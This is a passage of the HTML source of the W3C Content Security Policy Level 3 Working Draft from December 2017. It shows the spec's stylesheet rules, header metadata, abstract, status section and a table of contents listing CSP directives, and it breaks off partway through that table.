.descriptor::before {\n    content: \"‘\";\n}\n.css::after, .property::after, .descriptor::after {\n    content: \"’\";\n}\n.property, .descriptor {\n    /* Don't wrap property and descriptor names */\n    white-space: nowrap;\n}\n.type { /* CSS value <type> */\n    font-style: italic;\n}\npre .property::before, pre .property::after {\n    content: \"\";\n}\n[data-link-type=\"property\"]::before,\n[data-link-type=\"propdesc\"]::before,\n[data-link-type=\"descriptor\"]::before,\n[data-link-type=\"value\"]::before,\n[data-link-type=\"function\"]::before,\n[data-link-type=\"at-rule\"]::before,\n[data-link-type=\"selector\"]::before,\n[data-link-type=\"maybe\"]::before {\n    content: \"‘\";\n}\n[data-link-type=\"property\"]::after,\n[data-link-type=\"propdesc\"]::after,\n[data-link-type=\"descriptor\"]::after,\n[data-link-type=\"value\"]::after,\n[data-link-type=\"function\"]::after,\n[data-link-type=\"at-rule\"]::after,\n[data-link-type=\"selector\"]::after,\n[data-link-type=\"maybe\"]::after {\n    content: \"’\";\n}\n\n[data-link-type].production::before,\n[data-link-type].production::after,\n.prod [data-link-type]::before,\n.prod [data-link-type]::after {\n    content: \"\";\n}\n\n[data-link-type=element],\n[data-link-type=element-attr] {\n    font-family: Menlo, Consolas, \"DejaVu Sans Mono\", monospace;\n    font-size: .9em;\n}\n[data-link-type=element]::before { content: \"<\" }\n[data-link-type=element]::after  { content: \">\" }\n\n[data-link-type=biblio] {\n    white-space: pre;\n}</style>\n<style>/* style-dfn-panel */\n\n        .dfn-panel {\n            position: absolute;\n            z-index: 35;\n            height: auto;\n            width: -webkit-fit-content;\n            width: fit-content;\n            max-width: 300px;\n            max-height: 500px;\n            overflow: auto;\n            padding: 0.5em 0.75em;\n            font: small Helvetica Neue, sans-serif, Droid Sans Fallback;\n            background: #DDDDDD;\n            color: black;\n            border: outset 0.2em;\n        }\n        .dfn-panel:not(.on) { display: none; }\n        .dfn-panel * { margin: 0; padding: 0; text-indent: 0; }\n        .dfn-panel > b { display: block; }\n        .dfn-panel a { color: black; }\n        .dfn-panel a:not(:hover) { text-decoration: none !important; border-bottom: none !important; }\n        .dfn-panel > b + b { margin-top: 0.25em; }\n        .dfn-panel ul { padding: 0; }\n        .dfn-panel li { list-style: inside; }\n        .dfn-panel.activated {\n            display: inline-block;\n            position: fixed;\n            left: .5em;\n            bottom: 2em;\n            margin: 0 auto;\n            max-width: calc(100vw - 1.5em - .4em - .5em);\n            max-height: 30vh;\n        }\n\n        .dfn-paneled { cursor: pointer; }\n        </style>\n<style>/* style-syntax-highlighting */\npre.idl.highlight { color: #708090; }\n.highlight:not(.idl) { background: hsl(24, 20%, 95%); }\ncode.highlight { padding: .1em; border-radius: .3em; }\npre.highlight, pre > code.highlight { display: block; padding: 1em; margin: .5em 0; overflow: auto; border-radius: 0; }\n.highlight .c { color: #708090 } /* Comment */\n.highlight .k { color: #990055 } /* Keyword */\n.highlight .l { color: #000000 } /* Literal */\n.highlight .n { color: #0077aa } /* Name */\n.highlight .o { color: #999999 } /* Operator */\n.highlight .p { color: #999999 } /* Punctuation */\n.highlight .cm { color: #708090 } /* Comment.Multiline */\n.highlight .cp { color: #708090 } /* Comment.Preproc */\n.highlight .c1 { color: #708090 } /* Comment.Single */\n.highlight .cs { color: #708090 } /* Comment.Special */\n.highlight .kc { color: #990055 } /* Keyword.Constant */\n.highlight .kd { color: #990055 } /* Keyword.Declaration */\n.highlight .kn { color: #990055 } /* Keyword.Namespace */\n.highlight .kp { color: #990055 } /* Keyword.Pseudo */\n.highlight .kr { color: #990055 } /* Keyword.Reserved */\n.highlight .kt { color: #990055 } /* Keyword.Type */\n.highlight .ld { color: #000000 } /* Literal.Date */\n.highlight .m { color: #000000 } /* Literal.Number */\n.highlight .s { color: #a67f59 } /* Literal.String */\n.highlight .na { color: #0077aa } /* Name.Attribute */\n.highlight .nc { color: #0077aa } /* Name.Class */\n.highlight .no { color: #0077aa } /* Name.Constant */\n.highlight .nd { color: #0077aa } /* Name.Decorator */\n.highlight .ni { color: #0077aa } /* Name.Entity */\n.highlight .ne { color: #0077aa } /* Name.Exception */\n.highlight .nf { color: #0077aa } /* Name.Function */\n.highlight .nl { color: #0077aa } /* Name.Label */\n.highlight .nn { color: #0077aa } /* Name.Namespace */\n.highlight .py { color: #0077aa } /* Name.Property */\n.highlight .nt { color: #669900 } /* Name.Tag */\n.highlight .nv { color: #222222 } /* Name.Variable */\n.highlight .ow { color: #999999 } /* Operator.Word */\n.highlight .mb { color: #000000 } /* Literal.Number.Bin */\n.highlight .mf { color: #000000 } /* Literal.Number.Float */\n.highlight .mh { color: #000000 } /* Literal.Number.Hex */\n.highlight .mi { color: #000000 } /* Literal.Number.Integer */\n.highlight .mo { color: #000000 } /* Literal.Number.Oct */\n.highlight .sb { color: #a67f59 } /* Literal.String.Backtick */\n.highlight .sc { color: #a67f59 } /* Literal.String.Char */\n.highlight .sd { color: #a67f59 } /* Literal.String.Doc */\n.highlight .s2 { color: #a67f59 } /* Literal.String.Double */\n.highlight .se { color: #a67f59 } /* Literal.String.Escape */\n.highlight .sh { color: #a67f59 } /* Literal.String.Heredoc */\n.highlight .si { color: #a67f59 } /* Literal.String.Interpol */\n.highlight .sx { color: #a67f59 } /* Literal.String.Other */\n.highlight .sr { color: #a67f59 } /* Literal.String.Regex */\n.highlight .s1 { color: #a67f59 } /* Literal.String.Single */\n.highlight .ss { color: #a67f59 } /* Literal.String.Symbol */\n.highlight .vc { color: #0077aa } /* Name.Variable.Class */\n.highlight .vg { color: #0077aa } /* Name.Variable.Global */\n.highlight .vi { color: #0077aa } /* Name.Variable.Instance */\n.highlight .il { color: #000000 } /* Literal.Number.Integer.Long */\n</style>\n <body class=\"h-entry\">\n  <div class=\"head\">\n   <p data-fill-with=\"logo\"><a class=\"logo\" href=\"https://www.w3.org/\"> <img alt=\"W3C\" height=\"48\" src=\"https://www.w3.org/StyleSheets/TR/2016/logos/W3C\" width=\"72\"> </a> </p>\n   <h1>Content Security Policy Level 3</h1>\n   <h2 class=\"no-num no-toc no-ref heading settled\" id=\"subtitle\"><span class=\"content\">W3C Working Draft, <time class=\"dt-updated\" datetime=\"2017-12-01\">1 December 2017</time></span></h2>\n   <div data-fill-with=\"spec-metadata\">\n    <dl>\n     <dt>This version:\n     <dd><a class=\"u-url\" href=\"https://www.w3.org/TR/2017/WD-csp3-20171201/\">https://www.w3.org/TR/2017/WD-csp3-20171201/</a>\n     <dt>Latest published version:\n     <dd><a href=\"https://www.w3.org/TR/CSP3/\">https://www.w3.org/TR/CSP3/</a>\n     <dt>Editor's Draft:\n     <dd><a href=\"https://w3c.github.io/webappsec-csp/\">https://w3c.github.io/webappsec-csp/</a>\n     <dt>Previous Versions:\n     <dd><a href=\"https://www.w3.org/TR/2016/WD-CSP3-20160913/\" rel=\"prev\">https://www.w3.org/TR/2016/WD-CSP3-20160913/</a>\n     <dt>Version History:\n     <dd><a href=\"https://github.com/w3c/webappsec-csp/commits/master/index.src.html\">https://github.com/w3c/webappsec-csp/commits/master/index.src.html</a>\n     <dt>Feedback:\n     <dd><span><a href=\"mailto:public-webappsec@w3.org?subject=%5Bcsp3%5D%20YOUR%20TOPIC%20HERE\">public-webappsec@w3.org</a> with subject line “<kbd>[csp3] <i data-lt=\"\">… message topic …</i></kbd>” (<a href=\"https://lists.w3.org/Archives/Public/public-webappsec/\" rel=\"discussion\">archives</a>)</span>\n     <dt class=\"editor\">Editor:\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"56384\"><a class=\"p-name fn u-email email\" href=\"mailto:mkwst@google.com\">Mike West</a> (<span class=\"p-org org\">Google Inc.</span>)\n     <dt>Participate:\n     <dd><a href=\"https://github.com/w3c/webappsec-csp/issues/new\">File an issue</a> (<a href=\"https://github.com/w3c/webappsec-csp/issues\">open issues</a>)\n     <dt>Tests:\n     <dd><a href=\"https://github.com/web-platform-tests/wpt/tree/master/content-security-policy\">web-platform-tests content-security-policy/</a> (<a href=\"https://github.com/web-platform-tests/wpt/labels/content-security-policy\">ongoing work</a>)\n    </dl>\n   </div>\n   <div data-fill-with=\"warning\"></div>\n   <p class=\"copyright\" data-fill-with=\"copyright\"><a href=\"https://www.w3.org/Consortium/Legal/ipr-notice#Copyright\">Copyright</a> © 2017 <a href=\"https://www.w3.org/\"><abbr title=\"World Wide Web Consortium\">W3C</abbr></a><sup>®</sup> (<a href=\"https://www.csail.mit.edu/\"><abbr title=\"Massachusetts Institute of Technology\">MIT</abbr></a>, <a href=\"https://www.ercim.eu/\"><abbr title=\"European Research Consortium for Informatics and Mathematics\">ERCIM</abbr></a>, <a href=\"https://www.keio.ac.jp/\">Keio</a>, <a href=\"http://ev.buaa.edu.cn/\">Beihang</a>). W3C <a href=\"https://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer\">liability</a>, <a href=\"https://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks\">trademark</a> and <a href=\"https://www.w3.org/Consortium/Legal/copyright-documents\">document use</a> rules apply. </p>\n   <hr title=\"Separator for header\">\n  </div>\n  <div class=\"p-summary\" data-fill-with=\"abstract\">\n   <h2 class=\"no-num no-toc no-ref heading settled\" id=\"abstract\"><span class=\"content\">Abstract</span></h2>\n   <p>This document defines a mechanism by which web developers can control the\n\nresources which a particular page can fetch or execute, as well as a number\nof security-relevant policy decisions.</p>\n  </div>\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"status\"><span class=\"content\">Status of this document</span></h2>\n  <div data-fill-with=\"status\">\n   <p> <em>This section describes the status of this document at the time of\n  its publication. Other documents may supersede this document. A list of\n  current W3C publications and the latest revision of this technical report\n  can be found in the <a href=\"https://www.w3.org/TR/\">W3C technical reports\n  index at https://www.w3.org/TR/.</a></em> </p>\n   <p> This document was published by the <a href=\"https://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a> as a Working Draft. This document is intended to become a W3C Recommendation. </p>\n   <p> The (<a href=\"https://lists.w3.org/Archives/Public/public-webappsec/\">archived</a>) public mailing list <a href=\"mailto:public-webappsec@w3.org?Subject=%5Bcsp3%5D%20PUT%20SUBJECT%20HERE\">public-webappsec@w3.org</a> (see <a href=\"https://www.w3.org/Mail/Request\">instructions</a>)\n\tis preferred for discussion of this specification.\n\tWhen sending e-mail,\n\tplease put the text “csp3” in the subject,\n\tpreferably like this:\n\t“[csp3] <em>…summary of comment…</em>” </p>\n   <p> Publication as a Working Draft does not imply endorsement by the W3C\n  Membership. This is a draft document and may be updated, replaced or\n  obsoleted by other documents at any time. It is inappropriate to cite this\n  document as other than work in progress. </p>\n   <p> This document was produced by the <a href=\"https://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a>. </p>\n   <p> This document was produced by a group operating under\n\tthe <a href=\"https://www.w3.org/Consortium/Patent-Policy-20040205/\">5 February 2004 W3C Patent Policy</a>.\n\tW3C maintains a <a href=\"https://www.w3.org/2004/01/pp-impl/49309/status\" rel=\"disclosure\">public list of any patent disclosures</a> made in connection with the deliverables of the group;\n\tthat page also includes instructions for disclosing a patent.\n\tAn individual who has actual knowledge of a patent which the individual believes contains <a href=\"https://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential\">Essential Claim(s)</a> must disclose the information in accordance with <a href=\"https://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure\">section 6 of the W3C Patent Policy</a>. </p>\n   <p> This document is governed by the <a href=\"https://www.w3.org/2017/Process-20170301/\" id=\"w3c_process_revision\">1 March 2017 W3C Process Document</a>. </p>\n   <p></p>\n  </div>\n  <div data-fill-with=\"at-risk\">\n   <p>The following features are at-risk, and may be dropped during the CR period: </p>\n   <ul>\n    <li>The <a href=\"#is-element-nonceable\">§6.6.2.1 Is element nonceable?</a> algorithm.\n   </ul>\n   <p>“At-risk” is a W3C Process term-of-art, and does not necessarily imply that the feature is in danger of being dropped or delayed. It means that the WG believes the feature may have difficulty being interoperably implemented in a timely manner, and marking it as such allows the WG to drop the feature if necessary when transitioning to the Proposed Rec stage, without having to publish a new Candidate Rec without the feature first.</p>\n  </div>\n  <nav data-fill-with=\"table-of-contents\" id=\"toc\">\n   <h2 class=\"no-num no-toc no-ref\" id=\"contents\">Table of Contents</h2>\n   <ol class=\"toc\" role=\"directory\">\n    <li>\n     <a href=\"#intro\"><span class=\"secno\">1</span> <span class=\"content\">Introduction</span></a>\n     <ol class=\"toc\">\n      <li>\n       <a href=\"#examples\"><span class=\"secno\">1.1</span> <span class=\"content\">Examples</span></a>\n       <ol class=\"toc\">\n        <li><a href=\"#example-basic\"><span class=\"secno\">1.1.1</span> <span class=\"content\">Control Execution</span></a>\n       </ol>\n      <li><a href=\"#goals\"><span class=\"secno\">1.2</span> <span class=\"content\">Goals</span></a>\n      <li><a href=\"#changes-from-level-2\"><span class=\"secno\">1.3</span> <span class=\"content\">Changes from Level 2</span></a>\n     </ol>\n    <li>\n     <a href=\"#framework\"><span class=\"secno\">2</span> <span class=\"content\">Framework</span></a>\n     <ol class=\"toc\">\n      <li><a href=\"#framework-infrastructure\"><span class=\"secno\">2.1</span> <span class=\"content\">Infrastructure</span></a>\n      <li>\n       <a href=\"#framework-policy\"><span class=\"secno\">2.2</span> <span class=\"content\">Policies</span></a>\n       <ol class=\"toc\">\n        <li><a href=\"#parse-serialized-policy\"><span class=\"secno\">2.2.1</span> <span class=\"content\"> Parse a serialized CSP </span></a>\n        <li><a href=\"#parse-serialized-policy-list\"><span class=\"secno\">2.2.2</span> <span class=\"content\"> Parse a serialized CSP list </span></a>\n       </ol>\n      <li>\n       <a href=\"#framework-directives\"><span class=\"secno\">2.3</span> <span class=\"content\">Directives</span></a>\n       <ol class=\"toc\">\n        <li><a href=\"#framework-directive-source-list\"><span class=\"secno\">2.3.1</span> <span class=\"content\">Source Lists</span></a>\n       </ol>\n      <li>\n       <a href=\"#framework-violation\"><span class=\"secno\">2.4</span> <span class=\"content\">Violations</span></a>\n       <ol class=\"toc\">\n        <li><a href=\"#create-violation-for-global\"><span class=\"secno\">2.4.1</span> <span class=\"content\"> Create a violation object for <var>global</var>, <var>policy</var>, and <var>directive</var> </span></a>\n        <li><a href=\"#create-violation-for-request\"><span class=\"secno\">2.4.2</span> <span class=\"content\"> Create a violation object for <var>request</var>, <var>policy</var>, and <var>directive</var> </span></a>\n       </ol>\n     </ol>\n    <li>\n     <a href=\"#policy-delivery\"><span class=\"secno\">3</span> <span class=\"content\"> Policy Delivery </span></a>\n     <ol class=\"toc\">\n      <li><a href=\"#csp-header\"><span class=\"secno\">3.1</span> <span class=\"content\"> The <code>Content-Security-Policy</code> HTTP Response Header Field </span></a>\n      <li><a href=\"#cspro-header\"><span class=\"secno\">3.2</span> <span class=\"content\"> The <code>Content-Security-Policy-Report-Only</code> HTTP Response Header Field </span></a>\n      <li><a href=\"#meta-element\"><span class=\"secno\">3.3</span> <span class=\"content\"> The <code>&lt;meta></code> element </span></a>\n     </ol>\n    <li>\n     <a href=\"#integrations\"><span class=\"secno\">4</span> <span class=\"content\">Integrations</span></a>\n     <ol class=\"toc\">\n      <li>\n       <a href=\"#fetch-integration\"><span class=\"secno\">4.1</span> <span class=\"content\"> Integration with Fetch </span></a>\n       <ol class=\"toc\">\n        <li><a href=\"#set-response-csp-list\"><span class=\"secno\">4.1.1</span> <span class=\"content\"> Set <var>response</var>’s <code>CSP list</code> </span></a>\n        <li><a href=\"#report-for-request\"><span class=\"secno\">4.1.2</span> <span class=\"content\"> Report Content Security Policy violations for <var>request</var> </span></a>\n        <li><a href=\"#should-block-request\"><span class=\"secno\">4.1.3</span> <span class=\"content\"> Should <var>request</var> be blocked by Content Security Policy? </span></a>\n        <li><a href=\"#should-block-response\"><span class=\"secno\">4.1.4</span> <span class=\"content\"> Should <var>response</var> to <var>request</var> be blocked by Content\n    Security Policy? </span></a>\n       </ol>\n      <li>\n       <a href=\"#html-integration\"><span class=\"secno\">4.2</span> <span class=\"content\"> Integration with HTML </span></a>\n       <ol class=\"toc\">\n        <li><a href=\"#initialize-document-csp\"><span class=\"secno\">4.2.1</span> <span class=\"content\"> Initialize a <code>Document</code>'s <code>CSP list</code> </span></a>\n        <li><a href=\"#initialize-global-object-csp\"><span class=\"secno\">4.2.2</span> <span class=\"content\"> Initialize a global object’s <code>CSP list</code> </span></a>\n        <li><a href=\"#get-csp-of-object\"><span class=\"secno\">4.2.3</span> <span class=\"content\"> Retrieve the <span>CSP list</span> of an <var>object</var> </span></a>\n        <li><a href=\"#should-block-inline\"><span class=\"secno\">4.2.4</span> <span class=\"content\"> Should <var>element</var>’s inline <var>type</var> behavior be blocked by Content Security Policy? </span></a>\n        <li><a href=\"#should-block-navigation-request\"><span class=\"secno\">4.2.5</span> <span class=\"content\"> Should <var>navigation request</var> of <var>type</var> from <var>source</var> in <var>target</var> be blocked\n    by Content Security Policy? </span></a>\n        <li><a href=\"#should-block-navigation-response\"><span class=\"secno\">4.2.6</span> <span class=\"content\"> Should <var>navigation response</var> to <var>navigation request</var> of <var>type</var> from <var>source</var> in <var>target</var> be blocked by Content Security Policy? </span></a>\n       </ol>\n      <li>\n       <a href=\"#ecma-integration\"><span class=\"secno\">4.3</span> <span class=\"content\">Integration with ECMAScript</span></a>\n       <ol class=\"toc\">\n        <li><a href=\"#can-compile-strings\"><span class=\"secno\">4.3.1</span> <span class=\"content\"> EnsureCSPDoesNotBlockStringCompilation(<var>callerRealm</var>, <var>calleeRealm</var>, <var>source</var>) </span></a>\n       </ol>\n     </ol>\n    <li>\n     <a href=\"#reporting\"><span class=\"secno\">5</span> <span class=\"content\"> Reporting </span></a>\n     <ol class=\"toc\">\n      <li><a href=\"#violation-events\"><span class=\"secno\">5.1</span> <span class=\"content\"> Violation DOM Events </span></a>\n      <li><a href=\"#deprecated-serialize-violation\"><span class=\"secno\">5.2</span> <span class=\"content\"> Obtain the deprecated serialization of <var>violation</var> </span></a>\n      <li><a href=\"#report-violation\"><span class=\"secno\">5.3</span> <span class=\"content\"> Report a <var>violation</var> </span></a>\n     </ol>\n    <li>\n     <a href=\"#csp-directives\"><span class=\"secno\">6</span> <span class=\"content\"> Content Security Policy Directives </span></a>\n     <ol class=\"toc\">\n      <li>\n       <a href=\"#directives-fetch\"><span class=\"secno\">6.1</span> <span class=\"content\"> Fetch Directives </span></a>\n       <ol class=\"toc\">\n        <li>\n         <a href=\"#directive-child-src\"><span class=\"secno\">6.1.1</span> <span class=\"content\"><code>child-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#child-src-pre-request\"><span class=\"secno\">6.1.1.1</span> <span class=\"content\"> <code>child-src</code> Pre-request check </span></a>\n          <li><a href=\"#child-src-post-request\"><span class=\"secno\">6.1.1.2</span> <span class=\"content\"> <code>child-src</code> Post-request check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-connect-src\"><span class=\"secno\">6.1.2</span> <span class=\"content\"><code>connect-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#connect-src-pre-request\"><span class=\"secno\">6.1.2.1</span> <span class=\"content\"> <code>connect-src</code> Pre-request check </span></a>\n          <li><a href=\"#connect-src-post-request\"><span class=\"secno\">6.1.2.2</span> <span class=\"content\"> <code>connect-src</code> Post-request check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-default-src\"><span class=\"secno\">6.1.3</span> <span class=\"content\"><code>default-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#default-src-pre-request\"><span class=\"secno\">6.1.3.1</span> <span class=\"content\"> <code>default-src</code> Pre-request check </span></a>\n          <li><a href=\"#default-src-post-request\"><span class=\"secno\">6.1.3.2</span> <span class=\"content\"> <code>default-src</code> Post-request check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-font-src\"><span class=\"secno\">6.1.4</span> <span class=\"content\"><code>font-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#font-src-pre-request\"><span class=\"secno\">6.1.4.1</span> <span class=\"content\"> <code>font-src</code> Pre-request check </span></a>\n          <li><a href=\"#font-src-post-request\"><span class=\"secno\">6.1.4.2</span> <span class=\"content\"> <code>font-src</code> Post-request check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-frame-src\"><span class=\"secno\">6.1.5</span> <span class=\"content\"><code>frame-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#frame-src-pre-request\"><span class=\"secno\">6.1.5.1</span> <span class=\"content\"> <code>frame-src</code> Pre-request check </span></a>\n          <li><a href=\"#frame-src-post-request\"><span class=\"secno\">6.1.5.2</span> <span class=\"content\"> <code>frame-src</code> Post-request check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-img-src\"><span class=\"secno\">6.1.6</span> <span class=\"content\"><code>img-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#img-src-pre-request\"><span class=\"secno\">6.1.6.1</span> <span class=\"content\"> <code>img-src</code> Pre-request check </span></a>\n          <li><a href=\"#img-src-post-request\"><span class=\"secno\">6.1.6.2</span> <span class=\"content\"> <code>img-src</code> Post-request check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-manifest-src\"><span class=\"secno\">6.1.7</span> <span class=\"content\"><code>manifest-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#manifest-src-pre-request\"><span class=\"secno\">6.1.7.1</span> <span class=\"content\"> <code>manifest-src</code> Pre-request check </span></a>\n          <li><a href=\"#manifest-src-post-request\"><span class=\"secno\">6.1.7.2</span> <span class=\"content\"> <code>manifest-src</code> Post-request check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-media-src\"><span class=\"secno\">6.1.8</span> <span class=\"content\"><code>media-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#media-src-pre-request\"><span class=\"secno\">6.1.8.1</span> <span class=\"content\"> <code>media-src</code> Pre-request check </span></a>\n          <li><a href=\"#media-src-post-request\"><span class=\"secno\">6.1.8.2</span> <span class=\"content\"> <code>media-src</code> Post-request check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-object-src\"><span class=\"secno\">6.1.9</span> <span class=\"content\"><code>object-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#object-src-pre-request\"><span class=\"secno\">6.1.9.1</span> <span class=\"content\"> <code>object-src</code> Pre-request check </span></a>\n          <li><a href=\"#object-src-post-request\"><span class=\"secno\">6.1.9.2</span> <span class=\"content\"> <code>object-src</code> Post-request check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-script-src\"><span class=\"secno\">6.1.10</span> <span class=\"content\"><code>script-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#script-src-pre-request\"><span class=\"secno\">6.1.10.1</span> <span class=\"content\"> <code>script-src</code> Pre-request check </span></a>\n          <li><a href=\"#script-src-post-request\"><span class=\"secno\">6.1.10.2</span> <span class=\"content\"> <code>script-src</code> Post-request check </span></a>\n          <li><a href=\"#script-src-inline\"><span class=\"secno\">6.1.10.3</span> <span class=\"content\"> <code>script-src</code> Inline Check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-style-src\"><span class=\"secno\">6.1.11</span> <span class=\"content\"><code>style-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#style-src-pre-request\"><span class=\"secno\">6.1.11.1</span> <span class=\"content\"> <code>style-src</code> Pre-request Check </span></a>\n          <li><a href=\"#style-src-post-request\"><span class=\"secno\">6.1.11.2</span> <span class=\"content\"> <code>style-src</code> Post-request Check </span></a>\n          <li><a href=\"#style-src-inline\"><span class=\"secno\">6.1.11.3</span> <span class=\"content\"> <code>style-src</code> Inline Check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-worker-src\"><span class=\"secno\">6.1.12</span> <span class=\"content\"><code>worker-src</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#worker-src-pre-request\"><span class=\"secno\">6.1.12.1</span> <span class=\"content\"> <code>worker-src</code> Pre-request Check </span></a>\n          <li><a href=\"#worker-src-post-request\"><span class=\"secno\">6.1.12.2</span> <span class=\"content\"> <code>worker-src</code> Post-request Check </span></a>\n         </ol>\n       </ol>\n      <li>\n       <a href=\"#directives-document\"><span class=\"secno\">6.2</span> <span class=\"content\"> Document Directives </span></a>\n       <ol class=\"toc\">\n        <li>\n         <a href=\"#directive-base-uri\"><span class=\"secno\">6.2.1</span> <span class=\"content\"><code>base-uri</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#allow-base-for-document\"><span class=\"secno\">6.2.1.1</span> <span class=\"content\"> Is <var>base</var> allowed for <var>document</var>? </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-plugin-types\"><span class=\"secno\">6.2.2</span> <span class=\"content\"><code>plugin-types</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#plugin-types-post-request-check\"><span class=\"secno\">6.2.2.1</span> <span class=\"content\"> <code>plugin-types</code> Post-Request Check </span></a>\n          <li><a href=\"#should-plugin-element-be-blocked-a-priori-by-content-security-policy\"><span class=\"secno\">6.2.2.2</span> <span class=\"content\"> Should <var>plugin element</var> be blocked <i lang=\"la\">a priori</i> by Content\n    Security Policy?: </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-sandbox\"><span class=\"secno\">6.2.3</span> <span class=\"content\"><code>sandbox</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#sandbox-response\"><span class=\"secno\">6.2.3.1</span> <span class=\"content\"> <code>sandbox</code> Response Check </span></a>\n          <li><a href=\"#sandbox-init\"><span class=\"secno\">6.2.3.2</span> <span class=\"content\"> <code>sandbox</code> Initialization </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-disown-opener\"><span class=\"secno\">6.2.4</span> <span class=\"content\"><code>disown-opener</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#disown-opener-init\"><span class=\"secno\">6.2.4.1</span> <span class=\"content\"> <code>disown-opener</code> Initialization </span></a>\n         </ol>\n       </ol>\n      <li>\n       <a href=\"#directives-navigation\"><span class=\"secno\">6.3</span> <span class=\"content\"> Navigation Directives </span></a>\n       <ol class=\"toc\">\n        <li>\n         <a href=\"#directive-form-action\"><span class=\"secno\">6.3.1</span> <span class=\"content\"><code>form-action</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#form-action-pre-navigate\"><span class=\"secno\">6.3.1.1</span> <span class=\"content\"> <code>form-action</code> Pre-Navigation Check </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-frame-ancestors\"><span class=\"secno\">6.3.2</span> <span class=\"content\"><code>frame-ancestors</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#frame-ancestors-navigation-response\"><span class=\"secno\">6.3.2.1</span> <span class=\"content\"> <code>frame-ancestors</code> Navigation Response Check </span></a>\n          <li><a href=\"#frame-ancestors-and-frame-options\"><span class=\"secno\">6.3.2.2</span> <span class=\"content\"> Relation to <code>X-Frame-Options</code> </span></a>\n         </ol>\n        <li>\n         <a href=\"#directive-navigation-to\"><span class=\"secno\">6.3.3</span> <span class=\"content\"><code>navigation-to</code></span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#navigation-to-pre-navigate\"><span class=\"secno\">6.3.3.1</span> <span class=\"content\"> <code>navigation-to</code> Pre-Navigation Check </span></a>\n         </ol>\n       </ol>\n      <li>\n       <a href=\"#directives-reporting\"><span class=\"secno\">6.4</span> <span class=\"content\"> Reporting Directives </span></a>\n       <ol class=\"toc\">\n        <li><a href=\"#directive-report-uri\"><span class=\"secno\">6.4.1</span> <span class=\"content\"><code>report-uri</code></span></a>\n        <li><a href=\"#directive-report-to\"><span class=\"secno\">6.4.2</span> <span class=\"content\"><code>report-to</code></span></a>\n       </ol>\n      <li><a href=\"#directives-elsewhere\"><span class=\"secno\">6.5</span> <span class=\"content\"> Directives Defined in Other Documents </span></a>\n      <li>\n       <a href=\"#algorithms\"><span class=\"secno\">6.6</span> <span class=\"content\">Matching Algorithms</span></a>\n       <ol class=\"toc\">\n        <li>\n         <a href=\"#matching-urls\"><span class=\"secno\">6.6.1</span> <span class=\"content\">URL Matching</span></a>\n         <ol class=\"toc\">\n          <li><a href=\"#does-request-violate-policy\"><span class=\"secno\">6.6.1.1</span> <span class=\"content\"> Does <var>request</var> violate <var>policy</var>? </span></a>\n          <li><a href=\"#match-nonce-to-source-list\"><span class=\"secno\">6.6.1.2</span> <span class=\"content\"> Does <var>nonce</var> match <var>source list</var>? </span></a>\n          <li><a href=\"#match-request-to-source-list\"><span class=\"secno\">6.6.1.3</span> <span class=\"content\"> Does <var>request</var> match <var>source list</var>? </span></a>\n          <li><a href=\"#match-response-to-source-list\"><span class=\"secno\">6.6.1.4</span> <span class=\"content\"> Does <var>response</var> to <var>request</var> match <var>source list</var>? </span></a>\n          <li><a href=\"#match-url-to-source-list\"><span class=\"secno\">6.6.1.5</span> <span class=\"content\"> Does <var>url</var> match <var>source list</var> in <var>origin</var> with <var>redirect count</var>? </span></a>\n          <li><a href=\"#match-url-to-source-expression\"><span class=\"secno\">6.6.1.6</span> <span class=\"content\"> Does <var>url</var> match <var>expression</var> in <var>origin</var> with <var>redirect count</var>? </span></a>\n          <li><a href=\"#match-schemes\"><span class=\"secno\">6.6.1.7</span> <span class=\"content\"> <code>scheme-part</code> matching </span></a>\n          <li><a href=\"#match-hosts\"><span class=\"secno\">6.6.1.8</span> <span class=\"content\"> <code>host-part</code> matching </span></a>\n          <li><a href=\"#match-ports\"><span class=\"secno\">6.6.1.9</span> <span class=\"content\"> <code>port-part</code> matching </span></a>\n          <li><a href=\"#match-paths\"><span class=\"secno\">6.6.1.10</span> <span class=\"content\"> <code>path-part</code> matching </span></a>\n          <li><a href=\"#effective-directive-for-a-request\"><span class=\"secno\">6.6.1.11</span> <span class=\"content\"> Get the effective directive for <var>request</var> </span></a>\n         </ol>\n        <li>\n         <a 